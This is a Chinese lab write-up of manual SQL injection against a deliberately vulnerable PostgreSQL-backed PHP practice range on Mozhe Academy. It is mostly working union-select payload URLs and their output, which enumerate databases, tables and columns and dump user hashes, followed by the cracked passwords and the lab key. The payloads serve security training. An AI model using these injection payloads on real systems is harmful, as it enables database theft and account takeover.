SQL手工注入漏洞测试(PostgreSQL数据库)-墨者
———靶场专栏———
声明:文章由作者weoptions学习或练习过程中的步骤及思路,非正式答案,仅供学习和参考。
靶场背景:
来源:
墨者学院
简介:
安全工程师"墨者"最近在练习SQL手工注入漏洞,自己刚搭建好一个靶场环境Nginx+PHP+PostgreSQL,PHP代码对客户端提交的参数未做任何过滤。尽情的练习SQL手工注入吧。
实训目标:
1.掌握SQL注入原理;
2.了解手工注入的方法;
3.了解PostgreSQL的数据结构;
4.了解字符串的MD5加解密;
解题方向:
手工进行SQL注入测试,获取管理密码登录。
解题思路:
postgreSQL和mysql语法和数据库结构上有区别,但整体思路区别不大。
还是熟悉的管理系统登陆界面,还是熟悉的平台停机维护通知。
解题步骤:
一、验证注入点
http://124.70.71.251:41459/new_list.php?id=1 and 1=1
页面显示正常
报错一下看看
http://124.70.71.251:41459/new_list.php?id=1 and 1=2
ok,那注入点就是在这里了。
二、order by猜列
确定了,四个字段。
三、测试回显
用select语句测一下回显。跟mysql有些不一样,postgreSQL是用null来测试回显点的。
http://124.70.71.251:41459/new_list.php?id=1 and 1=2 union select null,null,null,null
依次给每个null加上单引号。
http://124.70.71.251:41459/new_list.php?id=1 and 1=2 union select null,'null','null',null
第二个和第三个位置有回显,接下来进行注入。
四、数据库信息获取
version()数据库版本
http://124.70.71.251:41459/new_list.php?id=1 and 1=2 union select null,null,version(),null
PostgreSQL 9.5.13 on x86_64-pc-linux-gnu, compiled by gcc (Ubuntu 5.4.0-6ubuntu1~16.04.9) 5.4.0 20160609, 64-bit
current_user数据库用户
http://124.70.71.251:41459/new_list.php?id=1 and 1=2 union select null,null,current_user,null
postgres
current_database()数据库名
http://124.70.71.251:41459/new_list.php?id=1 and 1=2 union select null,null,current_database(),null
mozhedvcms
五、查数据
①查数据库名
http://124.70.71.251:41459/new_list.php?id=1 and 1=2 union select null,null,string_agg(datname,','),null from pg_database
template1,template0,postgres,mozhedvcms
②查表名
http://124.70.71.251:41459/new_list.php?id=1 and 1=2 union select null,null,string_agg(tablename,','),null from pg_tables where schemaname='public'
http://124.70.71.251:41459/new_list.php?id=1 and 1=2 union select null,null,string_agg(relname,','),null from pg_stat_user_tables
notice,reg_users
③查列名
http://124.70.71.251:41459/new_list.php?id=1 and 1=2 union select null,null,string_agg(column_name,','),null from information_schema.columns where table_name='reg_users'
id,name,password,status
④查数据
http://124.70.71.251:41459/new_list.php?id=1 and 1=2 union select null,string_agg(name,','),string_agg(password,','),null from reg_users
六、MD5解密登陆
(1)mozhe1,085631f437f337ecbb741d2d9bb73b7d(544041)
(2)mozhe2,1c63129ae9db9c60c3e8aa94d3e00495(1qaz2wsx)
mozhe1成功登陆,KEY:mozhe2cf8a74af7074d9688e835190f9
总结:
难度:★★☆☆☆☆☆☆☆☆
分析:
很难评价,直接就把不熟练写在了脸上了,而且原理还是很模糊。